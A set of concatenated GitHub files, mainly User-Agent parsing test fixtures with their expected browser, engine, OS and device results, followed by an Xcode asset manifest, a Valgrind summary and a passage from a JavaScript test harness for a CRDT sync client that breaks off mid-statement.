result: { browser: { name: Lovense, family: { name: Chrome, version: 75 }, version: 30.0.9, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Lovense 30.0.9 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 Nichrome/self/40'
result: { browser: { name: Nichrome, family: { name: Chrome, version: 40 }, version: '40', type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Nichrome 40 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Shiira Safari/125'
readable: 'Shiira on OS X'
result: { browser: { name: Shiira, type: browser }, engine: { name: Webkit, version: 522.11.1 }, os: { name: 'OS X'}, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/5.0 (Linux; U; Android 10; en-us; GM1910 Build/QKQ1.190716.003) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.134 Mobile Safari/537.36 OnePlusBrowser/30.5.0.9'
readable: 'OnePlus Browser 30.5.0.9 on an OnePlus 7 Pro running Android 10'
result: { browser: { name: 'OnePlus Browser', family: { name: Chrome, version: 53 }, version: 30.5.0.9, type: browser }, engine: { name: Blink }, os: { name: Android, version: '10' }, device: { type: mobile, subtype: smart, manufacturer: OnePlus, model: '7 Pro' } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) PrivacyBrowser/1.0'
readable: 'Privacy Browser 1.0 on Windows 10'
result: { browser: { name: 'Privacy Browser', version: '1.0', type: browser }, engine: { name: Webkit, version: '537.36' }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.63 Safari/537.36 Qiyu/1.6.0.0'
result: { browser: { name: 'Qiyu Browser', family: { name: Chrome, version: 51 }, version: 1.6.0.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Qiyu Browser 1.6.0.0 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) QuickLook/5.0'
readable: 'Quick Look 5.0 on OS X El Capitan 10.11'
result: { browser: { name: 'Quick Look', version: '5.0', type: browser }, engine: { name: Webkit, version: 601.6.17 }, os: { name: 'OS X', version: { value: '10.11', nickname: 'El Capitan' } }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36 Slimjet/19.0.2.0'
result: { browser: { name: 'Slimjet', family: { name: Chrome, version: 66 }, version: 19.0.2.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Slimjet 19.0.2.0 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.1 Safari/605.1.15 (Airwatch Browser v7.9)'
result: { browser: { name: 'VMware Workspace ONE', version: '7.9', type: browser }, engine: { name: Webkit, version: '605.1.15' }, os: { name: 'OS X', version: { value: '10.11', nickname: 'El Capitan' } }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
readable: 'VMware Workspace ONE 7.9 on OS X El Capitan 10.11'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Whale/2.7.97.12 Safari/537.36'
readable: 'Whale Browser 2.7.97.12 on Windows 10'
result: { browser: { name: 'Whale Browser', family: { name: Chrome, version: 80 }, version: 2.7.97.12, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: WinWAP/4.1 (Win32) WinWAP-X/4.1.0.192'
readable: 'WinWAP Browser 4 on Windows'
result: { browser: { name: 'WinWAP Browser', version: 4, type: browser }, os: { name: Windows }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G928F Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36 wkbrowser 4.0.8 421'
readable: 'WK Browser 4.0.8 on a Samsung Galaxy S6 Edge+ running Android 7.0'
result: { browser: { name: 'WK Browser', using: { name: 'Chromium WebView', version: '61' }, version: 4.0.8, type: browser }, engine: { name: Blink }, os: { name: Android, version: '7.0' }, device: { type: mobile, subtype: smart, manufacturer: Samsung, model: 'Galaxy S6 Edge+' } }
-
headers: 'User-Agent: Mozilla/5.0 (Android 8.0.0; SM-G950F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.9 YaaniBrowser/4.2.0.186 (Turkcell-TR) Mobile Safari/537.36'
readable: 'Yaani Browser 4.2.0.186 on a Samsung Galaxy S8 running Android 8.0.0'
result: { browser: { name: 'Yaani Browser',family: { name: Chrome, version: 54 }, version: 4.2.0.186, type: browser }, engine: { name: Blink }, os: { name: Android, version: '8.0.0' }, device: { type: mobile, subtype: smart, manufacturer: Samsung, model: 'Galaxy S8' } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20130204 Zvu/18.0.1'
result: { browser: { name: 'Zvu Browser', version: 18.0.1, type: browser }, engine: { name: Gecko, version: '18.0' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Zvu Browser 18.0.1 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Falkon/3.0.0 Chrome/56.0.2924.122 Safari/537.36'
result: { browser: { name: 'Falkon', family: { name: Chrome, version: 56.0.2924.122 }, version: 3.0.0, type: browser }, engine: { name: Blink }, os: { name: Linux }, device: { type: desktop } }
readable: 'Falkon 3.0.0 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.3) Gecko/20150425 BlackHawk/25.3.1'
result: { browser: { name: 'Black Hawk', version: 25.3.1, type: browser }, engine: { name: Gecko, version: 25.3 }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Black Hawk 25.3.1 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.514) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3'
result: { browser: { name: 'Bolt Browser', version: '2.514', type: browser }, engine: { name: Webkit, version: '534.6' }, os: { name: Windows, version: { value: '5.1', alias: 'XP' } }, device: { type: desktop } }
readable: 'Bolt Browser 2.514 on Windows XP'
-
headers: 'User-Agent: BriskBard/1.0 (Windows 10) BriskBard/1.0'
readable: 'Brisk Bard 1.0 on Windows'
result: { browser: { name: 'Brisk Bard', version: '1.0', type: browser }, os: { name: Windows }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5 [en] (X11; U; ) - BrowseX (2.0.0 Windows)'
readable: 'BrowseX 2.0.0 on Windows'
result: { browser: { name: 'BrowseX', version: 2.0.0, type: browser }, os: { name: Windows }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 CCleaner/75.1.103.145'
result: { browser: { name: 'CCleaner Browser', family: { name: Chrome, version: 75.0.3770.142 }, version: 75.1.103.145, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'CCleaner Browser 75.1.103.145 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) chimlac_browser/1.0 Chrome/57.0.2987.110 Safari/537.36'
result: { browser: { name: 'Chim Lac', family: { name: Chrome, version: 57.0.2987.110 }, version: 1.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Chim Lac 1.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Colibri/1.5.1 Chrome/61.0.3163.100 Electron/2.0.2 Safari/537.36'
result: { browser: { name: 'Colibri', using: { name: Electron, version: 2.0.2 }, family: { name: Chrome, version: 61.0.3163.100 }, version: 1.5.1, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Colibri 1.5.1 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Degdegan/72.4.206 Chrome/66.4.3359.206 Safari/537.36'
result: { browser: { name: 'Deg-degan', family: { name: Chrome, version: 66 }, version: 72.4.206, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Deg-degan 72.4.206 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100411 Lorentz/3.6.3 GTB7.0'
readable: 'Firefox Lorentz 3.6.3 on Mac OS X 10.6'
result: { browser: { name: Firefox, version: 3.6.3, type: browser }, engine: { name: Gecko, version: 1.9.2 }, os: { name: 'OS X', alias: 'Mac OS X', version: '10.6' }, device: { type: desktop, manufacturer: Apple, model: Macintosh } }
-
headers: 'User-Agent: FlameSky/5.0.0.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.2987.110 Safari/537.36'
result: { browser: { name: 'FlameSky', family: { name: Chrome, version: 64.0.2987.110 }, version: 5.0.0.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'FlameSky 5.0.0.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0 Framafox/43.0.1'
result: { browser: { name: 'Framafox', family: { name: Firefox, version: '43.0' }, version: 43.0.1, type: browser }, engine: { name: Gecko, version: '43.0' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Framafox 43.0.1 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.69 Freeu/61.0.3163.69 MRCHROME SOC Safari/537.36'
result: { browser: { name: 'Freeu Browser', family: { name: Chrome, version: 61 }, version: 61.0.3163.69, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Freeu Browser 61.0.3163.69 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36 Hola/1.142.604'
result: { browser: { name: 'Hola Browser', family: { name: Chrome, version: 74.0.3729.157 }, version: 1.142.604, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Hola Browser 1.142.604 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0'
result: { browser: { name: 'Kapiko', family: { name: Firefox, version: '3.0' }, version: '3.0', type: browser }, engine: { name: Gecko, version: 1.9 }, os: { name: Windows, version: { value: '5.1', alias: 'XP' } }, device: { type: desktop } }
readable: 'Kapiko 3.0 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100222 Firefox/3.6 Kylo/0.8.4.74873'
result: { browser: { name: 'Kylo', family: { name: Firefox, version: '3.6' }, version: 0.8.4.74873, type: browser }, engine: { name: Gecko, version: 1.9.2 }, os: { name: Windows, version: { value: '5.1', alias: 'XP' } }, device: { type: desktop } }
readable: 'Kylo 0.8.4.74873 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) min/1.2.2 Chrome/49.0.2623.75 Electron/0.37.1 Safari/537.36'
result: { browser: { name: 'Min Browser', using: { name: Electron, version: 0.37.1 }, family: { name: Chrome, version: 49.0.2623.75 }, version: 1.2.2, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Min Browser 1.2.2 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/532.4 (KHTML, like Gecko) MiniBrowser/3.0 Safari/532.4'
result: { browser: { name: 'Mini Browser', version: '3.0', type: browser }, engine: { name: Webkit, version: '532.4' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Mini Browser 3.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:68.9) Gecko/20100101 Goanna/4.4 Firefox/68.9 Mypal/28.8.4'
result: { browser: { name: 'Mypal Browser', family: { name: Firefox, version: '68.9' }, version: 28.8.4, type: browser }, engine: { name: Goanna, version: '4.4' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Mypal Browser 28.8.4 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) qutebrowser/0.9.1 Safari/538.1'
result: { browser: { name: 'Qute Browser', version: 0.9.1, type: browser }, engine: { name: Webkit, version: 538.1 }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Qute Browser 0.9.1 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Sielo/1.16.07 Chrome/65.0.3325.151 Safari/537.36'
readable: 'Sielo Browser 1.16.07 on Windows 8'
result: { browser: { name: 'Sielo Browser', family: { name: Chrome, version: 65 }, version: 1.16.07, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.2', alias: '8' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; SiteKiosk 7.0 Build 248)'
result: { browser: { name: 'SiteKiosk', version: '7.0', type: browser }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'SiteKiosk 7.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; iRider 2.21.1108; FDM)'
result: { browser: { name: 'iRider Browser', version: 2.21.1108, type: browser },os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'iRider Browser 2.21.1108 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20071115 Firefox/2.0.0.6 LBrowser/2.0.0.6'
result: { browser: { name: LBrowser, family: { name: Firefox, version: 2.0.0.6 }, version: 2.0.0.6, type: browser }, engine: { name: Gecko, version: 1.8.1 }, os: { name: Linux }, device: { type: desktop } }
readable: 'LBrowser 2.0.0.6 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20051001 Firefox/1.0.7 Madfox/0.3.2u3'
result: { browser: { name: 'Madfox', family: { name: Firefox, version: '1.0.7' }, version: 0.3.2, type: browser }, engine: { name: Gecko, version: 1.7.12 }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Madfox 0.3.2 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; SV1; Multi-Browser 10.1 (www.multibrowser.de); .NET CLR 1.1.4322)'
result: { browser: { name: 'Multi-Browser XP', version: '10.1', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
readable: 'Multi-Browser XP 10.1 on Windows XP'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0; NetCaptor 6.5.0RC1)'
result: { browser: { name: NetCaptor, version: 6.5.0, type: browser }, os: { name: Windows, version: { value: '5.0', alias: 2000 } }, device: { type: desktop } }
readable: 'NetCaptor 6.5.0 on Windows 2000'
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Open Live Writer 1.0)'
readable: 'Open Live Writer 1.0 on Windows 7'
result: { browser: { name: 'Open Live Writer', using: { name: 'Internet Explorer', version: '11.0' }, version: '1.0', type: browser }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0; JuziBrowser) like Gecko'
result: { browser: { name: 'Orange Browser', type: browser }, engine: { name: Trident, version: '7.0' }, os: { name: Windows, version: { value: '6.3', alias: '8.1' } }, device: { type: desktop } }
readable: 'Orange Browser on Windows 8.1'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) Patriott::Browser/1.0.0 Safari/533.3'
result: { browser: { name: 'Patriott Browser', version: 1.0.0, type: browser }, engine: { name: Webkit, version: '533.3' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Patriott Browser 1.0.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.6.0.0'
result: { browser: { name: Perk, family: { name: Chrome, version: 25 }, version: 3.6.0.0, type: browser }, engine: { name: Webkit, version: '537.22' }, os: { name: Windows, version: { value: '6.2', alias: '8' } }, device: { type: desktop } }
readable: 'Perk 3.6.0.0 on Windows 8'
-
headers: 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 PureBrowser/60.9.0'
result: { browser: { name: 'Pure Browser', family: { name: Firefox, version: '60.0' }, version: '60.9', type: browser }, engine: { name: Gecko, version: '60.0' }, os: { name: Linux }, device: { type: desktop } }
readable: 'Pure Browser 60.9 on Linux'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.16817 Safari/537.36 Sparrow/0.1'
readable: 'Sparrow 0.1 on Windows 7'
result: { browser: { name: Sparrow, family: { name: Chrome, version: 64 }, version: '0.1', type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Station/1.57.1 Chrome/76.0.3809.131 Safari/537.36'
readable: 'Station Browser 1.57.1 on Windows 10'
result: { browser: { name: 'Station Browser', family: { name: Chrome, version: 76 }, version: 1.57.1, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: TulipChain/6.03 (http://ostermiller.org/tulipchain/) Java/1.4.2_05 (http://java.sun.com/) Windows_XP/5.1 RPT-HTTPClient/0.3-3'
readable: 'Tulip Chain 6.03 on Windows'
result: { browser: { name: 'Tulip Chain', version: '6.03', type: browser }, os: { name: Windows }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0 TO-Browser/TOB7.68.0.201_01'
readable: 't-online.de 7.68.0.201 on Windows 10'
result: { browser: { name: t-online.de, family: { name: Firefox, version: '68.0' }, version: 7.68.0.201, type: browser }, engine: { name: Gecko, version: '68.0' }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Villanova/1.9.2.12 Polarity/3.0.0 Firefox/4.0'
readable: 'Polarity 3.0.0 on Windows 7'
result: { browser: { name: Polarity, family: { name: Firefox, version: '4.0' }, version: 3.0.0, type: browser }, engine: { name: Gecko, version: 1.9.2 }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6'
readable: 'Sylera 3.0.20 on Windows 7'
result: { browser: { name: Sylera, version: 3.0.20, type: browser }, engine: { name: Gecko, version: 1.8.1 }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0(Compatible; Windows; U; en-US;) Sundance/0.9.0.33'
readable: 'Sundance 0.9.0.33 on Windows'
result: { browser: { name: Sundance, version: 0.9.0.33, type: browser }, os: { name: Windows }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070919 Swiftweasel/2.0.0.7'
readable: 'Swiftweasel 2.0.0.7 on Linux'
result: { browser: { name: Swiftweasel, version: 2.0.0.7, type: browser }, engine: { name: Gecko, version: 1.8.1 }, os: { name: Linux }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20110610 Firefox/4.0.1 Sundial/4.0.1_1.0'
readable: 'Sundial 4.0.1 on Windows 7'
result: { browser: { name: Sundial, family: { name: Firefox, version: 4.0.1 }, version: 4.0.1, type: browser }, engine: { name: Gecko, version: 2.0.1 }, os: { name: Windows, version: { value: '6.1', alias: '7' } },device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061025 Firefox/2.0 (Swiftfox)'
readable: 'Swiftfox on Linux'
result: { browser: { name: Swiftfox, family: { name: Firefox, version: '2.0' }, type: browser }, engine: { name: Gecko, version: 1.8.1 }, os: { name: Linux }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.21 Safari/537.36 MMS/1.0.2531.0'
result: { browser: { name: 'Opera Neon', family: { name: Chrome, version: 53 }, version: '1.0', type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
readable: 'Opera Neon 1.0 on Windows 10'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 OPR/60.0.3255.50747 OPRGX/60.0.3255.50747'
result: { browser: { name: 'Opera GX', family: { name: Chrome, version: 73 }, version: '60.0', type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'Opera GX 60.0 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1pre) Gecko/20090629 Vonkeror/1.0'
readable: 'Vonkeror 1.0 on Windows XP'
result: { browser: { name: Vonkeror, version: '1.0', type: browser }, engine: { name: Gecko, version: 1.9.1pre }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; JyxoToolbar1.0; SV1; UltraBrowser 11.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)'
readable: 'UltraBrowser 11.0 on Windows XP'
result: { browser: { name: UltraBrowser, version: '11.0', type: browser }, os: { name: Windows, version: { value: '5.1', alias: XP } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/532.4 (KHTML, like Gecko) Usejump/0.10.5 Safari/532.4'
readable: 'Usejump 0.10 on Windows 7'
result: { browser: { name: Usejump, version: '0.10', type: browser }, engine: { name: Webkit, version: '532.4' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
-
headers: 'User-Agent: Vimprobable/0.9.20.5'
readable: 'Vimprobable 0.9.20.5'
result: { browser: { name: Vimprobable, version: '0.9.20.5', type: browser }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3390.0 Xvast/1.1.0.3 Safari/537.36'
readable: 'Xvast 1.1.0.3 on Windows 8'
result: { browser: { name: Xvast, family: { name: Chrome, version: 67 }, version: 1.1.0.3, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.2', alias: '8' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.571.0 Safari/534.12 ZipZap 3.1'
readable: 'ZipZap 3.1 on Windows 7'
result: { browser: { name: ZipZap, family: { name: Chrome, version: 9 }, version: '3.1', type: browser }, engine: { name: Webkit, version: '534.12' }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 SputnikBrowser/4.1.2810.0 (GOST) Safari/537.36'
readable: 'Sputnik 4.1.2810.0 on Windows 10'
result: { browser: { name: 'Sputnik', family: { name: Chrome, version: 64 }, version: 4.1.2810.0, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '10.0', alias: '10' } }, device: { type: desktop } }
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) SalamWeb/3.0.1.592 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Safari/537.36'
result: { browser: { name: 'SalamWeb', family: { name: Chrome, version: 75.0.3770.101 }, version: 3.0.1.592, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'SalamWeb 3.0.1.592 on Windows 7'
-
headers: 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2551.0 (SBRO; Salam Browser) Safari/537.36'
result: { browser: { name: SalamWeb, family: { name: Chrome, version: 51 }, type: browser }, engine: { name: Blink }, os: { name: Windows, version: { value: '6.1', alias: '7' } }, device: { type: desktop } }
readable: 'SalamWeb on Windows 7'
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
Finished successfully.
ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
| {
"pile_set_name": "Github"
} |
// @flow
import * as hlc from '../../../packages/hybrid-logical-clock';
import type { HLC } from '../../../packages/hybrid-logical-clock';
import * as crdt from '../../../packages/nested-object-crdt';
import type { Delta, CRDT as Data } from '../../../packages/nested-object-crdt';
import { ItemSchema } from '../shared/schema.js';
import createClient from '../../../packages/core/src/delta/create-client';
import makeDeltaPersistence from '../../../packages/idb/src/delta';
import createPollingNetwork from '../../../packages/core/src/delta/polling-network';
import createWebSocketNetwork from '../../../packages/core/src/delta/websocket-network';
import createBlobClient from '../../../packages/core/src/blob/create-client';
import makeBlobPersistence from '../../../packages/idb/src/blob';
import createBasicBlobNetwork from '../../../packages/core/src/blob/basic-network';
import createMultiClient from '../../../packages/core/src/multi/create-client';
import makeMultiPersistence from '../../../packages/idb/src/multi';
import { PersistentClock, localStorageClockPersist } from './persistent-clock';
window.setupLocalCache = async collection => {
window.collection = window.client.getCollection(collection);
window.data = await window.collection.loadAll();
window.collection.onChanges(changes => {
changes.forEach(({ value, id }) => {
if (value) {
window.data[id] = value;
} else {
delete window.data[id];
}
});
});
};
window.clearData = async () => {
Object.keys(localStorage).forEach(key => {
localStorage.removeItem(key);
});
const r = await window.indexedDB.databases();
for (var i = 0; i < r.length; i++) {
window.indexedDB.deleteDatabase(r[i].name);
}
};
window.ItemSchema = ItemSchema;
window.setupMulti = (deltaNetwork, blobConfigs) => {
const deltas = {};
const blobs = {};
Object.keys(blobConfigs).forEach(key => {
blobs[key] = createBasicBlobNetwork(blobConfigs[key]);
});
const clock = new PersistentClock(localStorageClockPersist('multi'));
const deltaCreate = (
data: Data,
id: string,
): { node: string, delta: Delta, stamp: string } => ({
delta: crdt.deltas.set([], data),
node: id,
stamp: clock.get(),
});
const client = createMultiClient(
crdt,
